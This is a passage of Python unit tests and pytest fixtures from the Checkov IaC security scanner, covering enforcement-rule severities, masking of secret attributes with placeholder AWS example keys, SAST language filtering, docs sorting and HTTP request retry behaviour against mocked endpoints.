Severities[BcSeverities.LOW]) def test_apply_enforcement_rules(self): instance = RunnerFilter(include_all_checkov_policies=True, filtered_policy_ids=[], use_enforcement_rules=True) enforcement_rule_configs = { CodeCategoryType.IAC: CodeCategoryConfiguration(CodeCategoryType.IAC, Severities[BcSeverities.LOW], Severities[BcSeverities.LOW]), CodeCategoryType.BUILD_INTEGRITY: CodeCategoryConfiguration(CodeCategoryType.BUILD_INTEGRITY, Severities[BcSeverities.INFO], Severities[BcSeverities.INFO]), CodeCategoryType.LICENSES: CodeCategoryConfiguration(CodeCategoryType.LICENSES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]), CodeCategoryType.VULNERABILITIES: CodeCategoryConfiguration(CodeCategoryType.VULNERABILITIES, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.MEDIUM]), CodeCategoryType.SECRETS: CodeCategoryConfiguration(CodeCategoryType.SECRETS, Severities[BcSeverities.OFF], Severities[BcSeverities.OFF]), CodeCategoryType.WEAKNESSES: CodeCategoryConfiguration(CodeCategoryType.WEAKNESSES, Severities[BcSeverities.OFF], Severities[BcSeverities.OFF]) } instance.apply_enforcement_rules(enforcement_rule_configs) expected = { 'ansible': Severities[BcSeverities.LOW], 'argo_workflows': Severities[BcSeverities.INFO], 'arm': Severities[BcSeverities.LOW], 'azure_pipelines': Severities[BcSeverities.INFO], 'bicep': Severities[BcSeverities.LOW], 'bitbucket_pipelines': Severities[BcSeverities.INFO], 'cdk': Severities[BcSeverities.OFF], 'circleci_pipelines': Severities[BcSeverities.INFO], 'cloudformation': Severities[BcSeverities.LOW], 'dockerfile': Severities[BcSeverities.LOW], 'github_configuration': Severities[BcSeverities.INFO], 'github_actions': Severities[BcSeverities.INFO], 'gitlab_configuration': Severities[BcSeverities.INFO], 'gitlab_ci': Severities[BcSeverities.INFO], 'bitbucket_configuration': Severities[BcSeverities.INFO], 'helm': Severities[BcSeverities.LOW], 'json': Severities[BcSeverities.LOW], 'yaml': Severities[BcSeverities.LOW], 'kubernetes': Severities[BcSeverities.LOW], 'kustomize': Severities[BcSeverities.LOW], 'openapi': Severities[BcSeverities.LOW], 'sca_package': { CodeCategoryType.LICENSES: Severities[BcSeverities.HIGH], CodeCategoryType.VULNERABILITIES: Severities[BcSeverities.MEDIUM] }, 'sca_image': { CodeCategoryType.LICENSES: Severities[BcSeverities.HIGH], CodeCategoryType.VULNERABILITIES: Severities[BcSeverities.MEDIUM] }, 'secrets': Severities[BcSeverities.OFF], 'serverless': Severities[BcSeverities.LOW], 'terraform': Severities[BcSeverities.LOW], 'terraform_json': Severities[BcSeverities.LOW], 'terraform_plan': Severities[BcSeverities.LOW], '3d_policy': Severities[BcSeverities.LOW], 'sast': Severities[BcSeverities.OFF], 'sast_python': Severities[BcSeverities.OFF], 'sast_java': Severities[BcSeverities.OFF], 'sast_javascript': Severities[BcSeverities.OFF], 'sast_typescript': Severities[BcSeverities.OFF], 'sast_golang': Severities[BcSeverities.OFF], } self.assertEqual(instance.enforcement_rule_configs, expected) def test_resource_attr_to_omit_load_config_empty_list(self): runner_filter = RunnerFilter(resource_attr_to_omit=defaultdict(lambda: [])) assert not runner_filter.resource_attr_to_omit # assert that we have default dict as well: runner_filter.resource_attr_to_omit["acab"].update(["ac", "ab"]) assert len(runner_filter.resource_attr_to_omit["acab"]) == 2 def test_should_not_skip_cloned_policy(self): instance = RunnerFilter(include_all_checkov_policies=True) instance.bc_cloned_checks = {'BC_GCP_NETWORKING_17': [ [{'id': '1234567_GCP_9876543', 'code': 'null', 'title': 'GCP Firewall rule allows all traffic on HTTP port (80)', 'guideline': 'Refer the documentation for more details,\nhttps://docs.bridgecrew.io/docs/ensure-gcp-google-compute-firewall-ingress-does-not-allow-unrestricted-http-port-80-access', 'severity': Severity(BcSeverities.HIGH, 4), 'pcSeverity': 'HIGH', 'category': 'Networking', 'pcPolicyId': '123456-873b-4a71-91a8-41a42e4c9314', 'additionalPcPolicyIds': ['123456-873b-4a71-91a8-41a42e4c9314'], 'sourceIncidentId': 'BC_GCP_NETWORKING_17', 'benchmarks': {}, 'frameworks': ['CloudFormation', 'Terraform'], 'provider': 'GCP'}]]} instance.suppressed_policies = ['BC_GCP_NETWORKING_17'] self.assertTrue(instance.should_run_check(check_id='CKV_GCP_106', bc_check_id='BC_GCP_NETWORKING_17')) def test_should_skip_suppressed_policy(self): instance = RunnerFilter(include_all_checkov_policies=True) instance.bc_cloned_checks = {'BC_GCP_NETWORKING_17': [ [{'id': '1234567_GCP_9876543', 'code': 'null', 'title': 'GCP Firewall rule allows all traffic on HTTP port (80)', 'guideline': 'Refer the documentation for more details,\nhttps://docs.bridgecrew.io/docs/ensure-gcp-google-compute-firewall-ingress-does-not-allow-unrestricted-http-port-80-access', 'severity': Severity(BcSeverities.HIGH, 4), 'pcSeverity': 'HIGH', 'category': 'Networking', 'pcPolicyId': '123456-873b-4a71-91a8-41a42e4c9314', 'additionalPcPolicyIds': ['123456-873b-4a71-91a8-41a42e4c9314'], 'sourceIncidentId': 'BC_GCP_NETWORKING_17', 'benchmarks': {}, 'frameworks': ['CloudFormation', 'Terraform'], 'provider': 'GCP'}]]} instance.suppressed_policies = ['BC_GCP_NETWORKING_18'] self.assertFalse(instance.should_run_check(check_id='CKV_GCP_77', bc_check_id='BC_GCP_NETWORKING_18')) def test_resource_attr_to_omit_load_config_sanity_absolute_path(self): """ This check is more than a Sanity test - it also checks parser edge cases - - key has single str value - key has a list of values, one of them has incompatible type (first file content contains single str value in key3 & int value in key4. Both need to be parsed into a set) """ first_file_real_parsed_content = { "aws_db_instance": {"storage_container_path"}, "key2": {"storage_container_path"}, "key3": {"admin_password"}, "key4": {"admin_password", "1"}, "key5": {"plaintext"}, # ToDo: Uncomment if we want to support universal masking # "*": {"plaintext"} } argv = [ "--config-file", f"{os.path.dirname(os.path.realpath(__file__))}/resource_attr_to_omit_configs/first.yml" ] ckv = Checkov(argv=argv) runner_filter = RunnerFilter(resource_attr_to_omit=ckv.config.mask) assert runner_filter.resource_attr_to_omit for k, v in runner_filter.resource_attr_to_omit.items(): assert v == first_file_real_parsed_content.get(k) for k, v in first_file_real_parsed_content.items(): assert v == runner_filter.resource_attr_to_omit.get(k) def test_resource_attr_to_omit_load_config_sanity_combine(self): combined_file_real_parsed_content = { "aws_db_instance": {"storage_container_path"}, "key2": {"storage_container_path"}, "key3": {"admin_password", "blabla"}, "key4": {"admin_password", "blabla2", "1", "2"}, "key5": {"plaintext", "admin_password"}, "key6": {"admin_password"}, "key7": {"plaintext"}, # ToDo: Uncomment if we want to support universal masking # "*": {"plaintext"} } argv = [ "--config-file", f"{os.path.dirname(os.path.realpath(__file__))}/resource_attr_to_omit_configs/combined.yml" ] ckv = Checkov(argv=argv) runner_filter = RunnerFilter(resource_attr_to_omit=ckv.config.mask) assert runner_filter.resource_attr_to_omit for k, v in runner_filter.resource_attr_to_omit.items(): assert v == combined_file_real_parsed_content.get(k) for k, v in combined_file_real_parsed_content.items(): assert v == runner_filter.resource_attr_to_omit.get(k) def test_get_sast_languages(self): sast_langs = RunnerFilter.get_sast_languages(['sast'], []) assert SastLanguages.PYTHON in sast_langs assert SastLanguages.JAVA in sast_langs assert SastLanguages.JAVASCRIPT in sast_langs assert SastLanguages.TYPESCRIPT in sast_langs assert SastLanguages.GOLANG in sast_langs sast_langs = RunnerFilter.get_sast_languages(['sast_python', 'sast_typescript', 'sast_golang'], []) assert SastLanguages.PYTHON in sast_langs assert SastLanguages.TYPESCRIPT in sast_langs assert SastLanguages.GOLANG in sast_langs sast_langs = RunnerFilter.get_sast_languages(['sast_python', 'sast_javascript'], []) assert SastLanguages.PYTHON in sast_langs assert SastLanguages.JAVASCRIPT in sast_langs sast_langs = RunnerFilter.get_sast_languages(['all'], []) assert all(lang in sast_langs for lang in SastLanguages) # skip sast_langs = RunnerFilter.get_sast_languages(['all'], ['sast_python', 'sast_javascript']) assert SastLanguages.JAVA in sast_langs assert SastLanguages.PYTHON not in sast_langs assert SastLanguages.JAVASCRIPT not in sast_langs assert SastLanguages.TYPESCRIPT in sast_langs assert SastLanguages.GOLANG in sast_langs def test_scan_secrets_history_limits_to_secrets_framework(self): # when filter = RunnerFilter(enable_git_history_secret_scan=True) # then assert filter.enable_git_history_secret_scan is True assert filter.framework == [CheckType.SECRETS] if __name__ == '__main__': unittest.main() ================================================ FILE: tests/common/utils/__init__.py ================================================ ================================================ FILE: tests/common/utils/conftest.py ================================================ from typing import Dict, Any import pytest from checkov.common.bridgecrew.bc_source import SourceType from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration, bc_integration @pytest.fixture() def mock_bc_integration() -> BcPlatformIntegration: bc_integration.bc_api_key = "abcd1234-abcd-1234-abcd-1234abcd1234" bc_integration.setup_bridgecrew_credentials( repo_id="bridgecrewio/checkov", skip_fixes=True, skip_download=True, source=SourceType("Github", False), source_version="1.0", repo_branch="master", ) return bc_integration @pytest.fixture() def scan_result_success_response() -> Dict[str, Any]: return {'outputType': 'Result', 'outputData': "H4sIAN22X2IC/8WY23LbOBKGX6VLN5tUWRQp" "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", 'compressionMethod': 'gzip'} @pytest.fixture def aws_provider_config_with_secrets(): return { '__end_line__': 12, '__start_line__': 7, 'access_key': ['AKIAIOSFODNN7EXAMPLE'], 'alias': ['plain_text_access_keys_provider'], 'region': ['us-west-1'], 'secret_key': ['wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY'], 'CKV_AWS_41_secret_access_key': 'AKIAIOSFODNN7EXAMPLE', 'CKV_AWS_41_secret_secret_key': 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY' } @pytest.fixture def aws_provider_lines_with_secrets(): return [(7, 'provider "aws" {\n'), (8, ' alias = "plain_text_access_keys_provider"\n'), (9, ' region = "us-west-1"\n'), (10, ' access_key = "AKIAIOSFODNN7EXAMPLE"\n'), (11, ' secret_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n'), (12, '}\n')] @pytest.fixture def aws_provider_lines_without_secrets(): return [(7, 'provider "aws" {\n'), (8, ' alias = "plain_text_access_keys_provider"\n'), (9, ' region = "us-west-1"\n'), (10, ' access_key = "AKIAI**********"\n'), (11, ' secret_key = "wJalrX**********"\n'), (12, '}\n')] @pytest.fixture def tfplan_resource_config_with_secrets(): return { 'content_type': [''], 'expiration_date': [None], 'id': ['https://test-123-abcdse-02.vault.azure.net/secrets/test-123-abcdse-02-primary-key/352d0b63ac873c528170cb366b570da5'], 'key_vault_id': ['/subscriptions/resourceGroups/'], 'name': ['test-123-abcdse-02-primary-key'], 'not_before_date': [None], 'resource_id': ['/subscriptions/resourceGroups/'], 'resource_versionless_id': ['/subscriptions/resourceGroups/'], 'tags': [{'__startline__': 45, '__endline__': 45, 'start_line': 44, 'end_line': 44}], 'timeouts': [None], 'value': ['IClnjeTb8fgd14LyV9m1qG0xvFfUyQY3qHq/slUIrk5='], 'version': ['123d0b12ab123c123456ab123e120bc1'], 'versionless_id': ['https://test-123-abcdse-02.vault.azure.net/secrets/test-123-abcdse-02'], '__startline__': [35], '__endline__': [50], 'start_line': [34], 'end_line': [49], '__address__': 'module.test.azurerm_key_vault_secret.te_primary_key["test-123-abcdse-02"]'} @pytest.fixture def tfplan_resource_lines_with_secrets(): return [(35, ' {\n'), (36, ' "content_type": "",\n'), (37, ' "expiration_date": null,\n'), (38, ' "id": "https://test-123-abcdse-02.vault.azure.net/secrets/test-123-abcdse-02-primary-key/352d0b63ac873c528170cb366b570da5",\n'), (39, ' "key_vault_id": "abcd/subscriptions/123/resourceGroups/abcd",\n'), (40, ' "name": "test-123-abcdse-02-primary-key",\n'), (41, ' "not_before_date": null,\n'), (42, ' "resource_id": "abcd/subscriptions/123/resourceGroups/abcd",\n'), (43, ' "resource_versionless_id": "abcd/subscriptions/123/resourceGroups/abcd",\n'), (44, ' "tags":\n'), (45, ' {},\n'), (46, ' "timeouts": null,\n'), (47, ' "value": "IClnjeTb8fgd14LyV9m1qG0xvFfUyQY3qHq/slUIrk5=",\n'), (48, ' "version": "123d0b12ab123c123456ab123e120bc1",\n'), (49, ' "versionless_id": "https://test-123-abcdse-02.vault.azure.net/secrets/test-123-abcdse-02"\n')] @pytest.fixture def tfplan_resource_lines_without_secrets(): return [(35, ' {\n'), (36, ' "content_type": "",\n'), (37, ' "expiration_date": null,\n'), (38, ' "id": "https://test-123-abcdse-02.vault.azure.net/secrets/test-123-abcdse-02-primary-key/352d0b63ac873c528170cb366b570da5",\n'), (39, ' "key_vault_id": "abcd/subscriptions/123/resourceGroups/abcd",\n'), (40, ' "name": "test-123-abcdse-02-primary-key",\n'), (41, ' "not_before_date": null,\n'), (42, ' "resource_id": "abcd/subscriptions/123/resourceGroups/abcd",\n'), (43, ' "resource_versionless_id": "abcd/subscriptions/123/resourceGroups/abcd",\n'), (44, ' "tags":\n'), (45, ' {},\n'), (46, ' "timeouts": null,\n'), (47, ' "value": "IClnje**********",\n'), (48, ' "version": "123d0b12ab123c123456ab123e120bc1",\n'), (49, ' "versionless_id": "https://test-123-abcdse-02.vault.azure.net/secrets/test-123-abcdse-02"\n')] @pytest.fixture def tfplan_resource_lines_without_secrets_multiple_keys(): return [(35, ' {\n'), (36, ' "content_type": "",\n'), (37, ' "expiration_date": null,\n'), (38, ' "id": "https://test-123-abcdse-02.vault.azure.net/secrets/test-123-abcdse-02-primary-key/352d0b63ac873c528170cb366b570da5",\n'), (39, ' "key_vault_id": "abcd/subscriptions/123/resourceGroups/abcd",\n'), (40, ' "name": "test-123-abcdse-02-primary-key",\n'), (41, ' "not_before_date": null,\n'), (42, ' "resource_id": "abcd/subscriptions/123/resourceGroups/abcd",\n'), (43, ' "resource_versionless_id": "abcd/subscriptions/123/resourceGroups/abcd",\n'), (44, ' "tags":\n'), (45, ' {},\n'), (46, ' "timeouts": null,\n'), (47, ' "value": "IClnje**************************************",\n'), (48, ' "version": "123d0b**************************",\n'), (49, ' "versionless_id": "https://test-123-abcdse-02.vault.azure.net/secrets/test-123-abcdse-02"\n')] ================================================ FILE: tests/common/utils/resources/existing_file ================================================ BLA ================================================ FILE: tests/common/utils/test_contextmanagers.py ================================================ import os from checkov.common.util.contextmanagers import temp_environ def test_temp_environ(): # given assert os.getenv("EXAMPLE_ENV_VAR") is None # when/then with temp_environ(EXAMPLE_ENV_VAR="example"): assert os.getenv("EXAMPLE_ENV_VAR") == "example" assert os.getenv("EXAMPLE_ENV_VAR") is None def test_temp_environ_existing_env(): # given os.environ["EXAMPLE_ENV_VAR"] = "example" # when/then with temp_environ(EXAMPLE_ENV_VAR="override_example"): assert os.getenv("EXAMPLE_ENV_VAR") == "override_example" assert os.environ["EXAMPLE_ENV_VAR"] == "example" del os.environ["EXAMPLE_ENV_VAR"] # cleanup ================================================ FILE: tests/common/utils/test_data_structures_utils.py ================================================ from typing import Any import pytest from checkov.common.util.data_structures_utils import find_in_dict @pytest.mark.parametrize( "key_path,expected_value", [ ("key_99", None), ("key_1/key_2/key_3", None), ("key_1/key_2/[10]/key_3", None), ("key_1/key_5", "string"), ("key_1/key_2/[0]/key_3", 1), ("key_1/key_2/[1]/key_4", True), ], ids=["key_not_exists", "nested_key_not_exists", "index_not_exists", "key", "index", "index_1"], ) def test_find_in_dict(key_path: str, expected_value: Any) -> None: input_dict = { "key_1": { "key_2": [ { "key_3": 1, }, { "key_4": True, }, ], "key_5": "string", } } # when actual_value = find_in_dict(input_dict, key_path) # then assert actual_value == expected_value ================================================ FILE: tests/common/utils/test_docs_generator.py ================================================ import unittest from pytest_mock import MockerFixture from checkov.docs_generator import get_compare_key, get_check_link class TestOutputSorting(unittest.TestCase): def test_id_sorting_for_ckv_pattern(self): # keep all other things the same so sorting is based on the id check_ids = [ ['CKV_AWS_1', '', '', '', ''], ['CKV_K8S_11', '', '', '', ''], ['CKV_K8S_15', '', '', '', ''], ['CKV_K8S_9', '', '', '', ''], ['CKV_K8S_2', '', '', '', ''], ['CKV2_K8S_2', '', '', '', ''], ['CKV_AZURE_11', '', '', '', ''], ['CKV_AZURE_32', '', '', '', ''], ['CKV_GIT_1', '', '', '', ''], ['CKV_AZURE_10', '', '', '', ''], ['CKV2_AWS_1', '', '', '', ''], ['CKV_AZURE_22', '', '', '', ''], ['CKV_K8S_20', '', '', '', ''], ['CKV_GCP_1', '', '', '', ''], ['CKV_K8S_1', '', '', '', ''], ['CKV_GCP_10', '', '', '', ''], ['CKV_AZURE_12', '', '', '', ''], ['CKV_K8S_10', '', '', '', ''], ['CKV_AWS_20', '', '', '', ''], ] sorted_check_ids = sorted(check_ids, key=get_compare_key) self.assertEqual(sorted_check_ids, [ ['CKV_AWS_1', '', '', '', ''], ['CKV_AWS_20', '', '', '', ''], ['CKV2_AWS_1', '', '', '', ''], ['CKV_AZURE_10', '', '', '', ''], ['CKV_AZURE_11', '', '', '', ''], ['CKV_AZURE_12', '', '', '', ''], ['CKV_AZURE_22', '', '', '', ''], ['CKV_AZURE_32', '', '', '', ''], ['CKV_GCP_1', '', '', '', ''], ['CKV_GCP_10', '', '', '', ''], ['CKV_GIT_1', '', '', '', ''], ['CKV_K8S_1', '', '', '', ''], ['CKV_K8S_2', '', '', '', ''], ['CKV_K8S_9', '', '', '', ''], ['CKV_K8S_10', '', '', '', ''], ['CKV_K8S_11', '', '', '', ''], ['CKV_K8S_15', '', '', '', ''], ['CKV_K8S_20', '', '', '', ''], ['CKV2_K8S_2', '', '', '', ''], ]) def test_sorting_by_resource_id(self): checks_list = [ ['CKV_AWS_1', '', 'aws_ebs_volume', '', ''], ['CKV_AWS_1', '', 'AWS::EBS::Volume', '', ''], ['CKV_AWS_1', '', 'AWS::S3::Bucket', '', ''], ['CKV_AWS_1', '', 'aws_s3_bucket', '', ''] ] sorted_list = sorted(checks_list, key=get_compare_key) self.assertEqual(sorted_list[0], ['CKV_AWS_1', '', 'AWS::EBS::Volume', '', '']) self.assertEqual(sorted_list[1], ['CKV_AWS_1', '', 'AWS::S3::Bucket', '', '']) self.assertEqual(sorted_list[2], ['CKV_AWS_1', '', 'aws_ebs_volume', '', '']) self.assertEqual(sorted_list[3], ['CKV_AWS_1', '', 'aws_s3_bucket', '', '']) def test_get_check_link(): # given abs_path = "/path/to/checkov/checkov/terraform/checks/resource/aws/LambdaXrayEnabled.py" # when link = get_check_link(absolute_path=abs_path) # then assert link == "https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaXrayEnabled.py" def test_get_check_link_for_markdown(mocker: MockerFixture): # given abs_path = "/path/to/checkov/checkov/terraform/checks/resource/aws/LambdaXrayEnabled.py" mocker.patch("checkov.docs_generator.CREATE_MARKDOWN_HYPERLINKS", return_value=True) # when link = get_check_link(absolute_path=abs_path) # then assert link == "[LambdaXrayEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaXrayEnabled.py)" if __name__ == '__main__': unittest.main() ================================================ FILE: tests/common/utils/test_file_utils.py ================================================ import os from checkov.common.util.file_utils import read_file_safe, get_file_size_safe def test_sanity_read_file(): file_to_check = f"{os.path.dirname(os.path.realpath(__file__))}/resources/existing_file" file_content = read_file_safe(file_to_check) assert file_content == "BLA" def test_failure_read_file(): file_to_check = f"non_existing_file" file_content = read_file_safe(file_to_check) assert file_content == "" def test_sanity_get_file_size(): file_to_check = f"{os.path.dirname(os.path.realpath(__file__))}/resources/existing_file" file_size = get_file_size_safe(file_to_check) assert file_size == 3 def test_failure_get_file_size(): file_to_check = f"non_existing_file" file_size = get_file_size_safe(file_to_check) assert file_size == -1 ================================================ FILE: tests/common/utils/test_http_utils.py ================================================ import os import responses import requests from unittest import mock import pytest from pytest_mock import MockerFixture from aioresponses import aioresponses import aiohttp from checkov.common.util.http_utils import request_wrapper, aiohttp_client_session_wrapper, valid_url def get_report_url() -> str: base_url = "https://www.bridgecrew.cloud/api/v1/vulnerabilities" return f"{base_url}/results" @responses.activate @mock.patch.dict(os.environ, {"REQUEST_MAX_TRIES": "5", "SLEEP_BETWEEN_REQUEST_TRIES": "0.01"}) def test_request_wrapper_all_fail_with_connection_error_for_get_scan_result(mock_bc_integration): # given mock_url = mock_bc_integration.api_url + "/api/v1/vulnerabilities/scan-results/2e97f5afea42664309f492a1e2083b43479c2936" responses.add( method=responses.GET, url=mock_url, body=requests.exceptions.ConnectionError() ) try: request_wrapper("GET", mock_url, {}) assert False, "\'request_wrapper\' is expected to fail in this scenario" except requests.exceptions.ConnectionError: responses.assert_call_count(mock_url, 5) @responses.activate @mock.patch.dict(os.environ, {"REQUEST_MAX_TRIES": "5", "SLEEP_BETWEEN_REQUEST_TRIES": "0.01"}) def test_request_wrapper_all_fail_with_connection_error_for_post_scan(mock_bc_integration): # given mock_url = mock_bc_integration.api_url + "/api/v1/vulnerabilities/scan" responses.add( method=responses.POST, url=mock_url, body=requests.exceptions.ConnectionError() ) try: request_wrapper("POST", mock_url, {}, data={'mocked_key': 'mocked_value'}) assert False, "\'request_wrapper\' is expected to fail in this scenario" except requests.exceptions.ConnectionError: responses.assert_call_count(mock_url, 5) @responses.activate @mock.patch.dict(os.environ, {"REQUEST_MAX_TRIES": "5", "SLEEP_BETWEEN_REQUEST_TRIES": "0.01"}) def test_request_wrapper_all_fail_with_http_error(mock_bc_integration): # given mock_url = mock_bc_integration.api_url + "/api/v1/vulnerabilities/twistcli?os=linux" responses.add( method=responses.GET, url=mock_url, json={'error': "mocked client error"}, status=403 ) request_wrapper("GET", mock_url, {}) responses.assert_call_count(mock_url, 1) @responses.activate @mock.patch.dict(os.environ, {"REQUEST_MAX_TRIES": "5", "SLEEP_BETWEEN_REQUEST_TRIES": "0.01"}) def test_request_wrapper_all_fail_with_http_error_should_call_raise_for_status(mock_bc_integration): # given mock_url = mock_bc_integration.api_url + "/api/v1/vulnerabilities/twistcli?os=linux" responses.add( method=responses.GET, url=mock_url, json={'error': "mocked client error"}, status=403 ) try: request_wrapper("GET", mock_url, {}, should_call_raise_for_status=True) assert False, "\'request_wrapper\' is expected to fail in this scenario" except requests.exceptions.HTTPError: responses.assert_call_count(mock_url, 5) @responses.activate @mock.patch.dict(os.environ, {"REQUEST_MAX_TRIES": "3", "SLEEP_BETWEEN_REQUEST_TRIES": "0.01"}) def test_request_wrapper_with_success_for_get_scan_result(mock_bc_integration, scan_result_success_response): # given mock_url = mock_bc_integration.api_url + "/api/v1/vulnerabilities/scan-results/2e97f5afea42664309f492a1e2083b43479c2936" responses.add( method=responses.GET, url=mock_url, json=scan_result_success_response, status=200 ) request_wrapper("GET", mock_url, {}) responses.assert_call_count(mock_url, 1) @responses.activate @mock.patch.dict(os.environ, {"REQUEST_MAX_TRIES": "3", "SLEEP_BETWEEN_REQUEST_TRIES": "0.01"}) def test_request_wrapper_with_success_for_download_twistcli(mock_bc_integration): # given mock_url = mock_bc_integration.api_url + "/api/v1/vulnerabilities/twistcli?os=linux" responses.add( method=responses.GET, url=mock_url, json={}, status=200 ) request_wrapper("GET", mock_url, {}) responses.assert_call_count(mock_url, 1) @responses.activate @mock.patch.dict(os.environ, {"REQUEST_MAX_TRIES": "3", "SLEEP_BETWEEN_REQUEST_TRIES": "0.01"}) def test_request_wrapper_with_success_for_post_scan(mock_bc_integration, scan_result_success_response): # given mock_url = mock_bc_integration.api_url + "/api/v1/vulnerabilities/scan" responses.add( method=responses.POST, url=mock_url, json=scan_result_success_response, status=200 ) request_wrapper("POST", mock_url, {}, data={'mocked_key': 'mocked_value'}) responses.assert_call_count(mock_url, 1) @pytest.mark.asyncio async def test_aiohttp_client_session_wrapper_with_one_handled_exception(mocker: MockerFixture, mock_bc_integration): # given bc_api_key = "abcd1234-abcd-1234-abcd-1234abcd1234" report_url = get_report_url() mocker.patch.dict(os.environ, {"BC_ROOT_DIR": "app", "REQUEST_MAX_TRIES": "3", "SLEEP_BETWEEN_REQUEST_TRIES": "0.01"}) # when with aioresponses() as m: m.post(report_url, exception=aiohttp.ClientOSError()) m.post(report_url, status=200, repeat=True) response = await aiohttp_client_session_wrapper("POST", get_report_url(), {}, {}) # then assert response.ok @pytest.mark.asyncio async def test_aiohttp_client_session_wrapper_with_several_handled_exceptions(mocker: MockerFixture, mock_bc_integration): # given bc_api_key = "abcd1234-abcd-1234-abcd-1234abcd1234" report_url = get_report_url() mocker.patch.dict(os.environ, {"BC_ROOT_DIR": "app", "REQUEST_MAX_TRIES": "3", "SLEEP_BETWEEN_REQUEST_TRIES": "0.01"}) # when with aioresponses() as m: m.post(report_url, exception=aiohttp.ClientOSError(), repeat=True) try: await aiohttp_client_session_wrapper("POST", get_report_url(), {}, {}) # case the specific error wasn't raised assert False except aiohttp.ClientOSError: # case the specific error was raised assert True @pytest.mark.asyncio async def test_raiohttp_client_session_wrapper_with_one_not_handled_exception(mocker: MockerFixture, mock_bc_integration): # given bc_api_key = 